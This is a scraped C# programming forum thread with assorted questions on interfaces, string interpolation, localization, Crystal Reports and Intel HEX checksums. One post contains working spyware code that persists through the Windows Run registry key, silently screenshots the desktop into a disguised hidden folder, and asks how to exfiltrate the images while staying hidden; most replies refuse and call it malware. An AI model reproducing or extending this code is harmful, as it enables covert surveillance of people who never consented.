|
My biggest concern with that idea is that they blur the differentiation between an interface and an abstract class .
An interface used to be a pure abstract class (i.e. no implementation at all), so what's the difference now?
And the article also says that it is a way for multiple inheritance . Well, the Diamond of Death can be solved (so multiple inheritance could be a feature of the .Net world, as with unmanaged C++), but the article does not say anything about the solution used here.
And how will that be compatible with methods defined in two interfaces, with classes implementing both of them? When interfaces were pure abstract classes, that was no problem at all. And now?
|
|
|
|
|
I just discovered the "$" format operator:
Are there any performance or other issues using this
var fname = "Kevin";
var lname = "Marois";
var fullname1 = $"{fname} {lname}";
instead of this
var fname = "Kevin";
var lname = "Marois";
var fullname2 = string.Format(" ", fname, lname);
Thanks
If it's not broken, fix it until it is.
Everything makes sense in someone's mind.
Ya can't fix stupid.
|
|
|
|
|
The use of string interpolation really depends on how you're using it. The compiler is quite clever when using it. If you are just returning a string , the compiler will generally inline this into a string.Format. It also does some clever stuff if you are stuffing it into a FormattableString , it burns it out to a FormattableStringFactory.Create .
This space for rent
|
|
|
|
|
Thanks Pete
If it's not broken, fix it until it is.
Everything makes sense in someone's mind.
Ya can't fix stupid.
|
|
|
|
|
The issue with string interpolation is not performance. It's localization. A resource can contain a string with common placeholders, e.g. The result is {0}. , but it cannot contain references to variables. I.e. The result is {result}. is not possible with resource files for translation.
|
|
|
|
|
True, although you could use something like this[^] to generate a strongly-typed resource class with formatter methods that get you close.
So if you had a resource string called WelcomeMessage with a value of Hello, {name}! It's {date:D} today. , the tool would generate a helper method:
public static string WelcomeMessage(object name, object date)
{
return string.Format(CultureInfo.CurrentCulture, GetString("WelcomeMessage", "name", "date"), name, date);
}
The GetString method converts the named parameter placeholders to indexed placeholder:
private static string GetString(string name, params string[] formatterNames)
{
var value = _resourceManager.GetString(name);
Debug.Assert(value != null);
if (formatterNames != null)
{
for (var i = 0; i < formatterNames.Length; i++)
{
value = value.Replace("{" + formatterNames[i] + "}", "{" + i + "}");
}
}
return value;
}
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
Interesting idea. I'll take a closer look at that.
|
|
|
|
|
But, if I define two strings as resources:
HelloThaiFromFemale "สวัสดี ค่ะ"
HelloThaiFromMale "สวัสดี ครับ"
I can easily use them like this:
string s1 = $"A male speaker of Thai will say { Resources.HelloThaiFromMale} as a greeting; a female speaker of Thai will say {Resources.HelloThaiFromFemale} as a greeting.";
«While I complain of being able to see only a shadow of the past, I may be insensitive to reality as it is now, since I'm not at a stage of development where I'm capable of seeing it. A few hundred years later another traveler despairing as myself, may mourn the disappearance of what I may have seen, but failed to see.» Claude Levi-Strauss (Tristes Tropiques, 1955)
|
|
|
|
|
Sawasdi khrap khun Bill,
that works because the Resource class offers compile-time constants. The problem arises with non-constant values.
Chok di!
|
|
|
|
|
i'am trying to print through Crystal-report a report with picture
that i attached.
i try this:
1. i add a picture object to the report.
<ol>
<li>format Object -> Picture -> Graphic location</li>
<li>i add my logo path: 'c:\LOGO\LOGO.jpeg'
Everything works fine in the report, only the image does not display.
i work on C# WinForm with Visual-studio 2010 + Crystal-Report
thanks
|
|
|
|
|
i want to build automatic number plate recognition system in c#. Can any one help me. Links,Data,Tutorials,Source code any kind of help?
|
|
|
|
|
Member 13114769 wrote: Links Here's[^] a great place to start. If I'm looking to research a new topic, I tend to use Google (less frequently Bing) to look for relevant information.
This space for rent
|
|
|
|
|
Neural network pattern recognition / machine learning.
CAPTCHA (solving).
"(I) am amazed to see myself here rather than there ... now rather than then".
― Blaise Pascal
|
|
|
|
|
Hi there. I have this code currently that takes screenshots every 2 seconds and saves them to a hidden folder. I would like to implement a way for my program to then take these files and upload them to a cloud. Or maybe it can put the files in a zip folder every so often then send that folder in an email and repeat, but I don't know how well that would work.
Overall though I need it so that the program continues to run in stealth mode so that no one knows it's installed on the computer. Is there a way to do this? If so, could someone please help me and explain to me how to do so? Thank you all so much!
Here is my code so far:
using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
namespace chrome
{
static class Program
{
static void Main()
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
Assembly curAssembly = Assembly.GetExecutingAssembly();
key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
Console.WriteLine(curAssembly.GetName());
}
catch (Exception e)
{
Console.WriteLine("show1:" + e.Message);
}
int n = 0;
while (n == 0)
{
try
{
OnTimedEvent();
Thread.Sleep(2000);
}
catch (Exception e)
{
Console.WriteLine("show2:" + e.Message);
}
}
}
public static string st = "";
public static string date = "";
public static string month = "";
public static string year = "";
public static string time = "";
public static string hour = "";
public static string min = "";
public static string sec = "";
private static void OnTimedEvent()
{
st = DateTime.Today.Date.ToString();
time = DateTime.Now.TimeOfDay.ToString();
hour = DateTime.Now.Hour.ToString();
min = DateTime.Now.Minute.ToString();
sec = DateTime.Now.Second.ToString();
date = DateTime.Today.Day.ToString();
month = DateTime.Today.Month.ToString();
year = DateTime.Today.Year.ToString();
Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);
Bitmap memoryImage;
memoryImage = new Bitmap(1366, 768);
Size s = new Size(memoryImage.Width, memoryImage.Height);
Graphics memoryGraphics = Graphics.FromImage(memoryImage);
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string str = "";
if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
{
Console.WriteLine("directory exits");
}
else
{
Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
Console.WriteLine("new directory created");
}
str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);
try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}
}
}
}
|
|
|
|
|
This sounds like the sort of code I wouldn't like anywhere near my computer.
=========================================================
I'm an optoholic - my glass is always half full of vodka.
=========================================================
|
|
|
|
|
I have to agree with Chris - that sounds like malicious software, invasion of privacy, almost certainly illegal in many countries.
We do not condone, support, or assist in the production of malicious code in any way, form, or manner. This is a professional site for professional developers.
If you want to know how to create such things, you need to visit a hacking site: but be sure to disable all firewalls and antivirus products first or they won't trust you enough to tell you.
Bad command or file name. Bad, bad command! Sit! Stay! Staaaay...
AntiTwitter: @DalekDave is now a follower!
|
|
|
|
|
To be honest, even if you could find out how to hide the program on the computer and keep it hidden from the process list, you're still going to be caught out if someone is actively monitoring network traffic. There will be sudden spikes of high load on the network with no apparent cause - and that's when the investigations would start. Your code would soon be located and removed and then it would feature in every AV software patch released. All because you want to write something that looks like it has malicious intent.
So, no, we aren't going to help you write software like this.
This space for rent
|
|
|
|
|
For the time being, I'll assume your motives are less nefarious since I supported similar commercial products for a few years:
1) An activity monitor with a "religious" theme that would popup quotes
2) A total "desktop" manager with reminders; notes; activity charts; keystrokes and mouse moves over time; thumbnails; emails; etc.
Access was always there though; I'd prefer "unobtrusive" versus "stealth".
Anyway, the user needs to supply the "app" with an email server address / credentials; or the "app" has to get them from you somehow; which usually involves "calling home" if not imbedded in software or config files (a bad idea).
"(I) am amazed to see myself here rather than there ... now rather than then".
― Blaise Pascal
modified 23-Aug-17 12:44pm.
|
|
|
|
|
Aiding in the development of malware can be punishable by law in the Netherlands.
I would recommend against too many assumptions, just to be on the safe side.
Bastard Programmer from Hell
If you can't read my code, try converting it here[^]
|
|
|
|
|
You ASSume too much.
"(I) am amazed to see myself here rather than there ... now rather than then".
― Blaise Pascal
|
|
|
|
|
Quote: I need it so that the program continues to run in stealth mode so that no one knows it's installed on the computer. Malware is the only software that has such a requirement.
|
|
|
|
|
Nowhere did I encourage running in "stealth" mode.
I patiently pointed out "my" user had access and the software runs "unobtrusive" (in the taskbar).
In the one case it was "Nanny software"; the other case an "owner" productivity tool.
Part of putting up an effective defence is knowing the techniques you want to protect against.
A "discusssion" is not an invitation to participate in a particular activity.
Some of you are so busy trying to make "points", you completely miss any opportunity to gain relevant knowledge.
Even if the OP's intentention was "malware", a better approach would be to "discourage" that behaviour instead of everyone riding off on their high horses.
If I call everything you produce "crap", it doesn't make it so.
And everyone trying to understand "key logging", etc, is not intent on making "malware".
Get a grip.
"(I) am amazed to see myself here rather than there ... now rather than then".
― Blaise Pascal
|
|
|
|
|
You're welcome
Bastard Programmer from Hell
If you can't read my code, try converting it here[^]
|
|
|
|
|
Fortunately that crap of code snippet is so full of bad practices that we are likely to be safe from your malware...
Ever heard of formatting of DateTime values? What could happen when the code is executed around midnight? What about other screen sizes? What about 2 or even 3 screens? How many changes must be done when the directory name changes? Oh, look, "C:\Intel\Logs" is write-protected for non-administrative users.
Yeah, I am pretty that crap would fail on my machine. Malware-writers deserve failure.
|
|
|
|
|
Guys,
I am working on creating intel.hex file from the inputted .txt file. The format of Intel Hex file is
Steps that I follow....
1. Input a .txt file using combo-box and browse button (working fine)
2. Read .txt file using StreamReader (Working fine)
3. Read a single line of the txt file as string (working fine)
4. Get the length of the string ( Now here is a twist)
If I just do str.length, I get the length of the string but it is not of use for me...
Lets take an example of a txt file having data 123456GCTJ
the string str = "123456GCTJ" and str.length = 10
However, since I am converting this text to intel hex format, the string is actually this way...
12, 34, 56, G, C, T, J -> Length = 7
Now, I have to do this dynamically.
Question 1. How to get the string length? Do I have to write my own function? or Do I have to define a public class and associate it with the string like... str.getlengthForIntel()
5. Once, I have length, append the data to the format i.e. Start of Frame + Address + Data + checksum
(Working Fine)
6. Checksum (how to get the checksum? I have written below piece of code which I doubt will work once we have solution to above question)
private string GetChecksum(string strData)
{
byte checksum = 0;
char[] DataArray = strData.ToCharArray();
byte ArrayLen = 0;
string strAscii;
while (ArrayLen < strData.Length)
{
if ((DataArray[ArrayLen]) != ':')
{
checksum += (byte)(GetNumberFromString(DataArray[ArrayLen], DataArray[ArrayLen + 1]));
ArrayLen++;
}
ArrayLen++;
}
checksum = (byte)(~(int)checksum);
checksum += 1;
strAscii = ((checksum & 0xF0) >> 4).ToString("X") + (checksum & 0x0F).ToString("X");
return strAscii;
}
private byte GetNumberFromString(char cHighByte, char cLowByte)
{
uint uHighByte, uLowByte;
uint uFinalNum;
uHighByte = GetHexValueFromAscii(cHighByte);
uLowByte = GetHexValueFromAscii(cLowByte);
uFinalNum = (uHighByte << 4) + uLowByte;
return (byte)uFinalNum;
}
private byte GetHexValueFromAscii(char Ascii)
{
byte HexNum;
if ((Ascii >= 0x30) && (Ascii <= 0x39))
{
HexNum = (byte)(Ascii & 0x0F);
}
else
{
HexNum = (byte)Ascii;
}
return HexNum;
}
|
|
|
|